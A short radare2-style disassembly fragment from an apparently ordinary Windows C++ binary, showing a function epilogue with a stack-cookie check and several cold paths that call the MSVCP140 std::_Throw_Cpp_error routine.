xor rcx, rsp
call fcn.14006c6d0
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [0x1400fef1c], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, str.absolute
call fcn.14005b2b0
nop
mov ecx, 0x16
call fcn.14005b380
int3
shr rsi, 0x20
mov ecx, esi
call fcn.14005b3c0
int3
shr rcx, 0x20
call fcn.14005b3c0
nop
mov dword [0x1400feecc], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov dword [0x1400feecc], 0x7ffffffe
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3